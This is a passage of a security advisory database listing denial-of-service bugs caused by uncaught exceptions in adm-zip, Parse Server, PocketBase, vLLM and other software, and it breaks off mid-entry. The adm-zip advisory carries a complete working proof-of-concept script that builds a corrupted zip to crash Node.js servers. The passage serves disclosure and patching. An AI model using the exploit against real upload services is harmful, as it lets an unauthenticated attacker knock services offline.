(err) {\n        // surface as a normal async error instead of crashing the process\n        callback(Buffer.alloc(0), err);   // or however this codebase\u0027s async\n                                            // error convention is expressed\n    });\n    tmp.on(\"end\", function () { /* existing behavior */ });\n    tmp.end(inbuf);\n}\n```\n\nThe exact callback/error-propagation convention should match the rest of the codebase\u0027s async error handling style (a quick look suggests callbacks here are currently success-only; this may need a small signature adjustment or an `err`-first convention, at the maintainer\u0027s discretion). The key fix is simply: **never leave a Node.js stream without an `\"error\"` listener when it can plausibly error on attacker-controlled input.**\n\n## Full PoC Source (`poc_async_dos.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nTested version: adm-zip 0.6.0\nTested on: Linux, Node.js v22.22.1\n\nDescription:\n  methods/inflater.js:12-32 (inflateAsync) creates a\n  zlib.createInflateRaw(option) stream and calls tmp.end(inbuf) without ever\n  registering an \"error\" listener on the stream. Per Node.js EventEmitter\n  semantics, an \"error\" event emitted with zero listeners is rethrown as an\n  uncaught exception -- this happens on a later tick from the zlib C++\n  binding, so it CANNOT be caught by a try/catch wrapped around the calling\n  code. Any code that feeds an untrusted zip file into one of adm-zip\u0027s\n  public *Async APIs (readFileAsync, readAsTextAsync, extractAllToAsync,\n  ZipEntry.getDataAsync) crashes the entire host Node.js process the moment\n  it encounters a DEFLATE entry with corrupted/malformed compressed bytes.\n  The synchronous decompression path (getData()) was hardened for\n  CVE-2026-39244 (maxOutputLength + a throw that is naturally catchable);\n  this async streaming path was missed by that fix and remains an\n  unauthenticated, single-request availability bug.\n\nImpact:\n  Any service that accepts untrusted zip uploads and reads/extracts them\n  via adm-zip\u0027s async API (the officially documented, recommended usage\n  for non-blocking servers) can be crashed by a single malicious zip file,\n  with no authentication and no special privileges required.\n\nReproduction:\n  1. Install: this PoC runs directly against the adm-zip source tree this\n     script lives alongside (no `npm install` needed -- it requires the\n     local checkout via its package.json \"main\" entry, adm-zip.js).\n     Requires: python3, node (tested with Node.js v22.22.1).\n  2. Run: python3 poc_async_dos.py\n  3. Observe: the spawned Node child process exits non-zero with an\n     \"Unhandled \u0027error\u0027 event\" / Z_DATA_ERROR stack trace on stderr,\n     originating from methods/inflater.js\u0027s zlib.createInflateRaw stream.\n     Neither the harness\u0027s try/catch nor the getDataAsync callback ever\n     fires -- proving the crash is unrecoverable from calling code.\n\nHow the malicious zip is built (see the embedded Node harness in\nbuild_harness_script() below):\n  1. Use adm-zip\u0027s own writer (`new AdmZip(); zip.addFile(...); zip.toBuffer()`)\n     to produce a fully valid, well-formed zip archive with one DEFLATE\n     entry. This guarantees every header/CRC/offset field is structurally\n     correct.\n  2. Locate the local file header at offset 0 and compute the compressed\n     data region from the (untouched) LOCSIZ/LOCNAM/LOCEXT fields.\n  3. XOR every byte in that region with 0xFF, corrupting ONLY the DEFLATE\n     payload while leaving every size/offset/CRC field in the local header,\n     central directory, and EOCD record byte-for-byte unchanged, so\n     adm-zip\u0027s own parser still locates and slices exactly the right\n     region and reaches the vulnerable inflateAsync() call.\n\"\"\"\n\nimport os\nimport subprocess\nimport sys\nimport tempfile\n\n# ============================================================\n# Configuration\n# ============================================================\nPACKAGE_NAME = \"adm-zip\"\nTARGET_VERSION = \"0.6.0\"\n# The adm-zip source tree this PoC lives alongside (Hunter\u0027s checkout).\nREPO_DIR = os.path.dirname(os.path.abspath(__file__))\nNODE_BIN = \"node\"\nSUBPROCESS_TIMEOUT_SECONDS = 20\n\n\n# ============================================================\n# Node.js harness (the genuine trigger -- adm-zip is a JS library, so the\n# actual exploit code must run under Node; this Python script builds it,\n# runs it in an isolated child process, and interprets the result).\n# ============================================================\ndef build_harness_script(repo_dir: str) -\u003e str:\n    return r\"\"\"\n\"use strict\";\nconst AdmZip = require(%(repo_dir)r);\n\nconsole.log(\"HARNESS_START\");\n\n// Step 1: build a legitimate zip in memory using adm-zip\u0027s OWN writer, with\n// one DEFLATE-compressed entry. Repetitive text compresses well and\n// guarantees the DEFLATED method is chosen (not STORED).\nconst zip = new AdmZip();\nconst payload = Buffer.from(\n    \"The quick brown fox jumps over the lazy dog. \".repeat(200),\n    \"utf8\"\n);\nzip.addFile(\"payload.txt\", payload, \"\");\nconst goodBuf = zip.toBuffer();\nconsole.log(\"BUILT_GOOD_ZIP bytes=\" + goodBuf.length);\n\n// Step 2: locate the local file header (offset 0 in this single-entry\n// archive) and corrupt ONLY the compressed-data bytes in place, leaving\n// every size/offset/CRC field in the local header, central directory, and\n// EOCD record untouched -- so adm-zip\u0027s own parser still finds and slices\n// exactly the right region and reaches the vulnerable inflateAsync() path.\nconst LOCSIG = 0x04034b50;\nif (goodBuf.readUInt32LE(0) !== LOCSIG) {\n    throw new Error(\"unexpected local header signature -- adm-zip writer output changed\");\n}\nconst compressedSize = goodBuf.readUInt32LE(18); // LOCSIZ\nconst fileNameLen = goodBuf.readUInt16LE(26); // LOCNAM\nconst extraLen = goodBuf.readUInt16LE(28); // LOCEXT\nconst dataStart = 30 + fileNameLen + extraLen;\nconst dataEnd = dataStart + compressedSize;\nconsole.log(\n    \"LOCAL_HEADER compressedSize=\" + compressedSize +\n    \" dataStart=\" + dataStart + \" dataEnd=\" + dataEnd\n);\n\nconst badBuf = Buffer.from(goodBuf); // copy, do not mutate original\nfor (let i = dataStart; i \u003c dataEnd; i++) {\n    badBuf[i] = badBuf[i] ^ 0xff; // corrupt every byte of the DEFLATE stream\n}\nconsole.log(\"CORRUPTED_COMPRESSED_BYTES count=\" + (dataEnd - dataStart));\n\n// Step 3: parse the corrupted archive (this succeeds -- headers are intact)\n// and hit the vulnerable async decompression path.\nconst zip2 = new AdmZip(badBuf);\nconst entries = zip2.getEntries();\nconsole.log(\n    \"PARSED_CORRUPT_ZIP entries=\" + entries.length +\n    \" name=\" + entries[0].entryName\n);\n\ntry {\n    // This is the public, documented API a real server would call on an\n    // untrusted upload (readFileAsync / getDataAsync / extractAllToAsync\n    // all funnel into the same decompress(true, ...) -\u003e inflateAsync path).\n    entries[0].getDataAsync(function (data, err) {\n        // If this ever fires, the library handled the error gracefully\n        // (no crash) -- meaning the vulnerability is NOT present / already\n        // fixed in this build.\n        console.log(\n            \"CALLBACK_FIRED data_len=\" + (data ? data.length : 0) +\n            \" err=\" + err\n        );\n    });\n    console.log(\"SYNC_CALL_RETURNED_NO_THROW\");\n} catch (e) {\n    // If this ever fires, the bug is NOT present -- the error would be\n    // synchronously catchable by ordinary calling code.\n    console.log(\"CAUGHT_BY_TRY_CATCH: \" + e.message);\n}\n\nconsole.log(\"HARNESS_END_OF_SYNCHRONOUS_CODE\");\n// Deliberately NOT registering process.on(\"uncaughtException\", ...) here --\n// doing so would mask the exact bug under test. A real, unmodified server\n// process has no reason to install a blanket uncaughtException handler\n// either; that is precisely what makes this an unrecoverable process crash.\n\"\"\" % {\"repo_dir\": repo_dir}\n\n\n# ============================================================\n# Step 1: Setup\n# ============================================================\ndef setup():\n    \"\"\"Verify prerequisites and write out the Node.js harness script.\"\"\"\n    print(f\"[*] Setting up PoC for {PACKAGE_NAME}@{TARGET_VERSION}\")\n    print(f\"[*] Target adm-zip source tree: {REPO_DIR}\")\n\n    main_entry = os.path.join(REPO_DIR, \"adm-zip.js\")\n    if not os.path.isfile(main_entry):\n        print(f\"[-] Cannot find adm-zip.js at {main_entry}\")\n        sys.exit(1)\n\n    try:\n        node_version = subprocess.run(\n            [NODE_BIN, \"--version\"], capture_output=True, text=True, timeout=10\n        )\n        print(f\"[*] Found Node.js: {node_version.stdout.strip()}\")\n    except FileNotFoundError:\n        print(\"[-] node binary not found on PATH -- required to run this PoC\")\n        sys.exit(1)\n\n    handle, harness_path = tempfile.mkstemp(prefix=\"admzip_async_dos_\", suffix=\".js\")\n    with os.fdopen(handle, \"w\") as f:\n        f.write(build_harness_script(REPO_DIR))\n    print(f\"[*] Wrote Node harness to {harness_path}\")\n    return harness_path\n\n\n# ============================================================\n# Step 2: Trigger the vulnerability\n# ============================================================\ndef trigger(harness_path):\n    \"\"\"Run the Node harness (in its own isolated child process) that builds\n    the malicious zip and feeds it into adm-zip\u0027s vulnerable async API.\"\"\"\n    print(\"[*] Triggering vulnerability (spawning isolated Node subprocess)...\")\n    try:\n        proc = subprocess.run(\n            [NODE_BIN, harness_path],\n            capture_output=True,\n            text=True,\n            timeout=SUBPROCESS_TIMEOUT_SECONDS,\n            cwd=REPO_DIR,\n        )\n        return {\n            \"timed_out\": False,\n            \"returncode\": proc.returncode,\n            \"stdout\": proc.stdout,\n            \"stderr\": proc.stderr,\n        }\n    except subprocess.TimeoutExpired as e:\n        return {\n            \"timed_out\": True,\n            \"returncode\": None,\n            \"stdout\": (e.stdout or b\"\").decode(errors=\"replace\") if isinstance(e.stdout, bytes) else (e.stdout or \"\"),\n            \"stderr\": (e.stderr or b\"\").decode(errors=\"replace\") if isinstance(e.stderr, bytes) else (e.stderr or \"\"),\n        }\n\n\n# ============================================================\n# Step 3: Verify impact\n# ============================================================\ndef verify(result):\n    \"\"\"Check that the child process crashed with an unhandled \u0027error\u0027 event\n    originating from the async inflater, and that neither the try/catch nor\n    the getDataAsync callback in the harness ever ran.\"\"\"\n    print(\"[*] Verifying impact...\")\n    print(f\"[*] Child process exit code: {result[\u0027returncode\u0027]}\")\n    print()\n    print(\"----- Node child process stdout -----\")\n    print(result[\"stdout\"].rstrip())\n    print(\"----- Node child process stderr (crash evidence) -----\")\n    print(result[\"stderr\"].rstrip())\n    print(\"--------------------------------------\")\n    print()\n\n    if result[\"timed_out\"]:\n        print(\"[-] Harness timed out instead of crashing -- inconclusive\")\n        return False\n\n    stdout = result[\"stdout\"]\n    stderr = result[\"stderr\"]\n    returncode = result[\"returncode\"]\n\n    reached_vuln_call = \"SYNC_CALL_RETURNED_NO_THROW\" in stdout\n    was_caught = \"CAUGHT_BY_TRY_CATCH\" in stdout\n    callback_fired = \"CALLBACK_FIRED\" in stdout\n    process_crashed = returncode is not None and returncode != 0\n    unhandled_error_evidence = (\n        \"Unhandled \u0027error\u0027 event\" in stderr\n        or \"ERR_UNHANDLED_ERROR\" in stderr\n        or \"Emitted \u0027error\u0027 event on InflateRaw instance\" in stderr\n    )\n\n    print(f\"[*] Reached vulnerable getDataAsync() call without throwing: {reached_vuln_call}\")\n    print(f\"[*] Caught by harness\u0027s own try/catch (would mean NOT vulnerable): {was_caught}\")\n    print(f\"[*] getDataAsync callback ever fired (would mean NOT vulnerable): {callback_fired}\")\n    print(f\"[*] Child process exited non-zero (crashed): {process_crashed}\")\n    print(f\"[*] stderr shows an unhandled \u0027error\u0027 event from the InflateRaw stream: {unhandled_error_evidence}\")\n\n    success = (\n        reached_vuln_call\n        and not was_caught\n        and not callback_fired\n        and process_crashed\n        and unhandled_error_evidence\n    )\n    return success\n\n\n# ============================================================\n# Main\n# ============================================================\nif __name__ == \"__main__\":\n    print(f\"=== CVE-CANDIDATE: {PACKAGE_NAME} async decompression DoS ===\")\n    print(f\"[*] Target version: {TARGET_VERSION}\")\n    print()\n\n    harness_path = setup()\n    try:\n        result = trigger(harness_path)\n        success = verify(result)\n    finally:\n        try:\n            os.remove(harness_path)\n            print(f\"[*] Cleaned up temp harness file: {harness_path}\")\n        except OSError:\n            pass\n\n    print()\n    if success:\n        print(\"[+] VULNERABILITY CONFIRMED\")\n        print(\n            \"[+] Impact: a single untrusted zip file with a corrupted DEFLATE \"\n            \"entry crashes the entire Node.js process when read via any \"\n            \"adm-zip *Async API (readFileAsync / readAsTextAsync / \"\n            \"extractAllToAsync / ZipEntry.getDataAsync). Unauthenticated, \"\n            \"single-request, unrecoverable process-level Denial of Service.\"\n        )\n    else:\n        print(\"[-] Vulnerability NOT confirmed\")\n\n    sys.exit(0 if success else 1)\n```",
  "id": "GHSA-8238-w5pm-2374",
  "modified": "2026-09-29T23:10:09Z",
  "published": "2026-09-29T23:10:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/security/advisories/GHSA-8238-w5pm-2374"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/commit/5e70d3a26097d68fa981c41f022c053117174e49"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cthackers/adm-zip"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cthackers/adm-zip/releases/tag/v0.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "adm-zip: Unhandled error event in async DEFLATE decompression crashes Node.js process (DoS)"
}

GHSA-827P-G5X5-H86C

Vulnerability from github – Published: 2026-03-17 18:37 – Updated: 2026-03-19 21:12
VLAI
Summary
Parse Server LiveQuery subscription with invalid regular expression crashes server
Details

Impact

A remote attacker can crash the Parse Server by subscribing to a LiveQuery with an invalid regular expression pattern. The server process terminates when the invalid pattern reaches the regex engine during subscription matching, causing denial of service for all connected clients.

Patches

The fix validates regular expression patterns at subscription time, rejecting invalid patterns before they are stored. Additionally, a defense-in-depth try-catch prevents any subscription matching error from crashing the server process.

Workarounds

Disable LiveQuery if it is not needed.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.6.0-alpha.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.6.43"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32770"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T18:37:30Z",
    "nvd_published_at": "2026-03-18T22:16:25Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA remote attacker can crash the Parse Server by subscribing to a LiveQuery with an invalid regular expression pattern. The server process terminates when the invalid pattern reaches the regex engine during subscription matching, causing denial of service for all connected clients.\n\n### Patches\n\nThe fix validates regular expression patterns at subscription time, rejecting invalid patterns before they are stored. Additionally, a defense-in-depth try-catch prevents any subscription matching error from crashing the server process.\n\n### Workarounds\n\nDisable LiveQuery if it is not needed.",
  "id": "GHSA-827p-g5x5-h86c",
  "modified": "2026-03-19T21:12:58Z",
  "published": "2026-03-17T18:37:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-827p-g5x5-h86c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32770"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/10197"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/parse-server/pull/10199"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/parse-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Parse Server LiveQuery subscription with invalid regular expression crashes server"
}

GHSA-83RC-2389-WCCM

Vulnerability from github – Published: 2026-02-10 21:31 – Updated: 2026-02-10 21:31
VLAI
Details

The affected products are vulnerable to an uncaught exception that could allow an unauthenticated attacker to remotely crash core PI services resulting in a denial-of-service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-1507"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-10T21:16:01Z",
    "severity": "HIGH"
  },
  "details": "The affected products are vulnerable to an uncaught exception that could allow an unauthenticated attacker to remotely crash core PI services resulting in a denial-of-service.",
  "id": "GHSA-83rc-2389-wccm",
  "modified": "2026-02-10T21:31:31Z",
  "published": "2026-02-10T21:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1507"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-041-03"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-84R8-W725-7J27

Vulnerability from github – Published: 2022-11-25 15:30 – Updated: 2022-11-30 21:30
VLAI
Details

In F?Secure Endpoint Protection for Windows and macOS before channel with Capricorn database 2022-11-22_07, the aerdl.dll unpacker handler crashes. This can lead to a scanning engine crash, triggerable remotely by an attacker for denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-38166"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-25T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "In F?Secure Endpoint Protection for Windows and macOS before channel with Capricorn database 2022-11-22_07, the aerdl.dll unpacker handler crashes. This can lead to a scanning engine crash, triggerable remotely by an attacker for denial of service.",
  "id": "GHSA-84r8-w725-7j27",
  "modified": "2022-11-30T21:30:22Z",
  "published": "2022-11-25T15:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38166"
    },
    {
      "type": "WEB",
      "url": "https://www.f-secure.com/en/home/support/security-advisories/cve-2022-38166"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-84VH-M24Q-WJJX

Vulnerability from github – Published: 2026-09-17 14:58 – Updated: 2026-09-17 14:58
VLAI
Summary
Pocketbase: Unhandled panic in worker goroutines
Details

PocketBase already has builtin panic-recover middleware for the regular requests handling but it doesn't cover panics in internal child/worker goroutines which in some situations could cause termination of the server process.

To prevent this from hapenning all existing internal worker functions were wrapped with the new helper routine.SafeWrap(f) (auto recovers and returns any eventual panic as regular error).

The vulnerability was reported by @gigioneggiando and it is strongly recommended to upgrade to PocketBase v0.39.7 (the fix was also backported in v0.22.48 in case you are using older PocketBase < v0.23.0).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pocketbase/pocketbase"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.48"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pocketbase/pocketbase"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.23.0"
            },
            {
              "fixed": "0.39.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-82410"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T14:58:42Z",
    "nvd_published_at": "2026-09-16T15:17:54Z",
    "severity": "HIGH"
  },
  "details": "PocketBase already has builtin panic-recover middleware for the regular requests handling but it doesn\u0027t cover panics in internal child/worker goroutines which in some situations could cause termination of the server process.\n\nTo prevent this from hapenning all existing internal worker functions were wrapped with the new helper `routine.SafeWrap(f)` _(auto recovers and returns any eventual panic as regular error)_.\n\nThe vulnerability was reported by @gigioneggiando and it is strongly recommended to upgrade to PocketBase **[v0.39.7](https://github.com/pocketbase/pocketbase/releases/tag/v0.39.7)** _(the fix was also backported in [v0.22.48](https://github.com/pocketbase/pocketbase/releases/tag/v0.22.48) in case you are using older PocketBase \u003c v0.23.0)_.",
  "id": "GHSA-84vh-m24q-wjjx",
  "modified": "2026-09-17T14:58:42Z",
  "published": "2026-09-17T14:58:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pocketbase/pocketbase/security/advisories/GHSA-84vh-m24q-wjjx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82410"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pocketbase/pocketbase/commit/30b4184305904fae0d1b78216c4e3cc34700b220"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pocketbase/pocketbase/commit/f1618ee59b6d1c0308bb474c827a2b1f24b12a95"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pocketbase/pocketbase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pocketbase/pocketbase/discussions/7762"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pocketbase/pocketbase/releases/tag/v0.22.48"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pocketbase/pocketbase/releases/tag/v0.39.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pocketbase: Unhandled panic in worker goroutines"
}

GHSA-85XF-C7HM-WHQW

Vulnerability from github – Published: 2026-10-05 23:42 – Updated: 2026-10-05 23:42
VLAI
Summary
vLLM: Structured-output request errors escape the request boundary and terminate the shared EngineCore — engine-fatal denial of service (3 sites)
Details

Affected

  • Ecosystem / package: pip / vllm
  • Affected versions: vLLM ≤ 0.25.1 (confirmed on 0.25.1, commit 752a3a504485). The lower bound predates 0.25.1; maintainers can confirm how far back each path reaches.

Summary

Three structured-output request paths let an ordinary request reach a condition that raises an uncaught, engine-fatal exception instead of a per-request validation error. The failure is not confined to the request that caused it: it escapes into EngineCore's busy loop and triggers a fatal _send_engine_dead(), so one malformed structured-output request denies service to all concurrent and subsequent tenants of that engine. The requests are ordinary API calls; the client does not need any privileged configuration beyond the (often default) structured-output feature.

The shared root cause is the absence of a per-request exception boundary around structured-output grammar/token handling: a value that should fail as a request-scoped validation error instead propagates as an uncaught exception (or bypasses frontend validation entirely) and reaches the scheduler/engine loop, which treats the failure as fatal.

These sites are distinct from the published fixes for GHSA-6qc9-v4r8-22xg and GHSA-8wr5-jm2h-8r4f: GHSA-6qc9 (PR #17623) added frontend json-schema/regex/type validation but the completion check on v0.25.1 still catches only TimeoutError, so Site 1's valid duplicate-root EBNF via the latched xgrammar backend still re-raises and kills EngineCore; GHSA-8wr5 (PR #44744) fixes recovered-token state in the eagle spec-decode path and explicitly does not treat trailing -1 padding as the fault, so Site 2's -1 reaching backend_guidance.validate_tokens() via ngram_gpu survives it.

Affected code

Links pinned to the confirmed commit 752a3a504485 (v0.25.1). The three sites are:

Site 1 — latched-backend compile exception escapes. StructuredOutputManager permanently latches one backend on the first structured-output request and always compiles through it, ignoring the per-request auto backend selection. A grammar that auto accepts only via a fallback backend (e.g. a duplicate-root EBNF) then makes the latched xgrammar compiler raise; the exception is stored in the grammar Future, and the completion check catches only TimeoutError, so Future.result() re-raises during scheduler promotion and kills EngineCore.

The escaping-exception sink: the completion check only handles TimeoutError, so any compile exception stored in the Future re-raises out of result() during scheduler promotion.

# vllm/v1/structured_output/request.py Lines 48-59
    def _check_grammar_completion(self) -> bool:
        # NOTE: We have to lazy import to gate circular imports
        from vllm.v1.request import RequestStatus

        if isinstance(self._grammar, Future):
            try:
                # We will check whether the future is ready within 100 us
                self._grammar = self._grammar.result(timeout=0.0001)
                self.status = RequestStatus.WAITING
            except TimeoutError:
                return False
        return True

Site 2 — guidance treats ngram_gpu -1 padding as a token id. The ngram_gpu proposer pads a fixed-width draft-token row with -1 and separately records num_valid_draft_tokens, but the scheduler forwards the untrimmed padded row into GuidanceGrammar.validate_tokens(), which passes -1 to the native llguidance matcher; the matcher cannot convert a negative value to its unsigned token type and raises an OverflowError, uncaught and fatal.

The sink passes the padded row straight to the native matcher with no lower-bound check on token ids:

# vllm/v1/structured_output/backend_guidance.py Lines 181-196
    def validate_tokens(self, tokens: list[int]) -> list[int]:
        """Checks if the list of tokens are accepted by the parser in sequence.
        Will not advance the parser.

        Returns the prefix list of tokens that are accepted by the parser.
        """
        if len(tokens) == 0:
            return []
        if self.ll_matcher.is_stopped():
            return []

        num_tokens = self.ll_matcher.validate_tokens(tokens)

        self.check_error()

        return tokens[:num_tokens]

Site 3 — Rust frontend accepts an empty structured-output value the Python frontend rejects. The opt-in Rust frontend admits an empty structured_outputs.json / structured_outputs.grammar string that the Python frontend rejects; the empty value passes through the wire-params conversion without validation, reaches the engine, and marks EngineCore dead.

The conversion maps each field to a constraint with no non-empty check, so an empty json/grammar string is forwarded unchanged:

// rust/src/engine-core-client/src/protocol/structured_outputs.rs Lines 135-162
impl TryFrom<WireStructuredOutputsParams> for StructuredOutputsParams {
    type Error = Error;

    fn try_from(raw: WireStructuredOutputsParams) -> Result<Self> {
        use StructuredOutputConstraint::*;

        let mut constraint = None;

        macro_rules! insert_constraint {
            ($name:literal, $value:expr) => {
                if let Some(value) = $value {
                    if let Some((existing, _)) = constraint {
                        return Err(Error::InvalidStructuredOutputsParams {
                            message: format!(
                                "multiple structured output constraints specified: {existing}, {}",
                                $name
                            ),
                        });
                    }
                    constraint = Some(($name, value));
                }
            };
        }

        insert_constraint!("json", raw.json.map(Json));
        insert_constraint!("regex", raw.regex.map(Regex));
        insert_constraint!("choice", raw.choice.map(Choice));
        insert_constraint!("grammar", raw.grammar.map(Grammar));

Impact

Any client able to send an ordinary structured-output request (two requests for Site 1) can terminate the shared EngineCore, denying service to all tenants of that engine instance. Availability only; no code execution, memory corruption, or data disclosure.

  • Site 1 affects the default "auto" structured-output backend; no speculative decoding or non-default configuration is required.
  • Site 2 requires a deployment using the guidance backend together with ngram_gpu speculative decoding; the -1 sentinel is produced by the proposer itself, so an ordinary constrained request suffices — the client does not craft the negative token.
  • Site 3 requires the opt-in Rust frontend; a single request with an empty constraint value is enough. API-key middleware narrows the attacker from unauthenticated to authenticated but does not restore the missing validation.

Suggested Fix

Convert structured-output failures into request-scoped errors at the boundary. Each site is a distinct fix shape; the core hunk for each is below.

Site 1 — resolve the backend per request instead of latching one process-wide, so a grammar is always compiled with the backend that auto actually selected for it (and a compile failure is that request's error, not the engine's):

# vllm/v1/structured_output/__init__.py — grammar_init(), replacing the latched-backend path
backend = self._get_or_create_backend(request.structured_output_request.backend)
if self._use_async_grammar_compilation:
    grammar = self.executor.submit(self._create_grammar, request, backend)
else:
    grammar = self._create_grammar(request, backend)

Site 2 — drop negative sentinels before handing the row to the native matcher, inside validate_tokens():

# vllm/v1/structured_output/backend_guidance.py — validate_tokens(), before the ll_matcher call
for i, token in enumerate(tokens):
    if token < 0:
        tokens = tokens[:i]
        break
if len(tokens) == 0:
    return []

Site 3 — reject empty json/grammar strings in the Rust wire-params conversion, matching the Python frontend, before the value reaches the engine:

// rust/src/engine-core-client/src/protocol/structured_outputs.rs — try_from(), before constraint mapping
if matches!(&raw.json, Some(Value::String(value)) if value.trim().is_empty()) {
    return Err(Error::InvalidStructuredOutputsParams {
        message: "structured_outputs.json cannot be an empty string".to_string(),
    });
}
if matches!(&raw.grammar, Some(value) if value.trim().is_empty()) {
    return Err(Error::InvalidStructuredOutputsParams {
        message: "structured_outputs.grammar cannot be an empty string".to_string(),
    });
}

The three sites share one root cause and the same fix shape (bound the failure to the request), so they are filed as a single advisory; happy to split into per-component advisories if the maintainers prefer. Each fix carries a regression test.

Credit

Reported by: Patch the Planet (Trail of Bits + OpenAI collaboration)

These vulnerabilities were discovered using GPT-5.5-Cyber as part of the Patch the Planet security initiative.


Proposed fix: a fix for this issue is proposed in a public pull request: https://github.com/vllm-project/vllm/pull/51450

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-105757"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-248",
      "CWE-755"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T23:42:44Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Affected\n\n- **Ecosystem / package:** pip / `vllm`\n- **Affected versions:** vLLM \u2264 0.25.1 (confirmed on 0.25.1, commit [`752a3a504485`](https://github.com/vllm-project/vllm/tree/752a3a504485790a2e8491cacbb35c137339ad34)). The lower bound predates 0.25.1; maintainers can confirm how far back each path reaches.\n\n## Summary\n\nThree structured-output request paths let an ordinary request reach a condition that raises an **uncaught, engine-fatal** exception instead of a per-request validation error. The failure is not confined to the request that caused it: it escapes into `EngineCore`\u0027s busy loop and triggers a fatal `_send_engine_dead()`, so one malformed structured-output request denies service to all concurrent and subsequent tenants of that engine. The requests are ordinary API calls; the client does not need any privileged configuration beyond the (often default) structured-output feature.\n\nThe shared root cause is the absence of a per-request exception boundary around structured-output grammar/token handling: a value that should fail as a request-scoped validation error instead propagates as an uncaught exception (or bypasses frontend validation entirely) and reaches the scheduler/engine loop, which treats the failure as fatal.\n\nThese sites are distinct from the published fixes for 